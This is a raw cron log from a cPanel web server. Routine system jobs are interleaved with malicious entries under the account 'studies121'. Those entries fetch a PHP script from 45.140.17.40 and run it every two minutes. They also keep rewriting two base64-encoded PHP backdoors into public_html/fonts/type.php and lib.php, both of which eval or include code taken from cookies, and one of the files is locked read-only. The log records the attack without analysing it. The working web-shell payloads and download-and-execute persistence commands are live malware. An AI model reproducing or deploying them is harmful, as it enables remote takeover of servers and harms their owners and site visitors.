Sep 12 23:02:01 ip-184-168-122-23 CROND[6951]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:02:01 ip-184-168-122-23 CROND[6954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:03:01 ip-184-168-122-23 CROND[7130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:03:01 ip-184-168-122-23 CROND[7129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:03:01 ip-184-168-122-23 CROND[7133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:03:01 ip-184-168-122-23 CROND[7135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:04:01 ip-184-168-122-23 CROND[7216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:04:01 ip-184-168-122-23 CROND[7219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:04:01 ip-184-168-122-23 CROND[7222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:04:01 ip-184-168-122-23 CROND[7220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:04:01 ip-184-168-122-23 CROND[7221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:05:01 ip-184-168-122-23 CROND[7313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:05:01 ip-184-168-122-23 CROND[7316]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 23:05:01 ip-184-168-122-23 CROND[7318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:05:01 ip-184-168-122-23 CROND[7317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:05:01 ip-184-168-122-23 CROND[7319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:05:01 ip-184-168-122-23 CROND[7315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:05:01 ip-184-168-122-23 CROND[7320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:06:01 ip-184-168-122-23 CROND[7432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:06:01 ip-184-168-122-23 CROND[7433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:06:01 ip-184-168-122-23 CROND[7434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:06:01 ip-184-168-122-23 CROND[7435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:06:01 ip-184-168-122-23 CROND[7436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:07:01 ip-184-168-122-23 CROND[7525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:07:01 ip-184-168-122-23 CROND[7527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:07:01 ip-184-168-122-23 CROND[7526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:07:01 ip-184-168-122-23 CROND[7529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:08:01 ip-184-168-122-23 CROND[7700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:08:01 ip-184-168-122-23 CROND[7702]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:08:01 ip-184-168-122-23 CROND[7703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:08:01 ip-184-168-122-23 CROND[7704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:08:01 ip-184-168-122-23 CROND[7705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:09:01 ip-184-168-122-23 CROND[7826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:09:01 ip-184-168-122-23 CROND[7827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:09:01 ip-184-168-122-23 CROND[7830]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 23:09:01 ip-184-168-122-23 CROND[7828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:09:01 ip-184-168-122-23 CROND[7829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:10:01 ip-184-168-122-23 CROND[7928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:10:01 ip-184-168-122-23 CROND[7929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:10:01 ip-184-168-122-23 CROND[7932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:10:01 ip-184-168-122-23 CROND[7935]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:10:01 ip-184-168-122-23 CROND[7931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:10:01 ip-184-168-122-23 CROND[7933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:10:01 ip-184-168-122-23 CROND[7936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:10:01 ip-184-168-122-23 CROND[7939]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 23:11:01 ip-184-168-122-23 CROND[8038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:11:01 ip-184-168-122-23 CROND[8039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:11:01 ip-184-168-122-23 CROND[8040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:11:01 ip-184-168-122-23 CROND[8041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:12:01 ip-184-168-122-23 CROND[8145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:12:01 ip-184-168-122-23 CROND[8148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:12:01 ip-184-168-122-23 CROND[8147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:12:01 ip-184-168-122-23 CROND[8149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:12:01 ip-184-168-122-23 CROND[8150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:13:01 ip-184-168-122-23 CROND[8322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:13:01 ip-184-168-122-23 CROND[8323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:13:01 ip-184-168-122-23 CROND[8326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:13:01 ip-184-168-122-23 CROND[8325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:14:01 ip-184-168-122-23 CROND[8407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:14:01 ip-184-168-122-23 CROND[8409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:14:01 ip-184-168-122-23 CROND[8412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:14:01 ip-184-168-122-23 CROND[8410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:14:01 ip-184-168-122-23 CROND[8411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
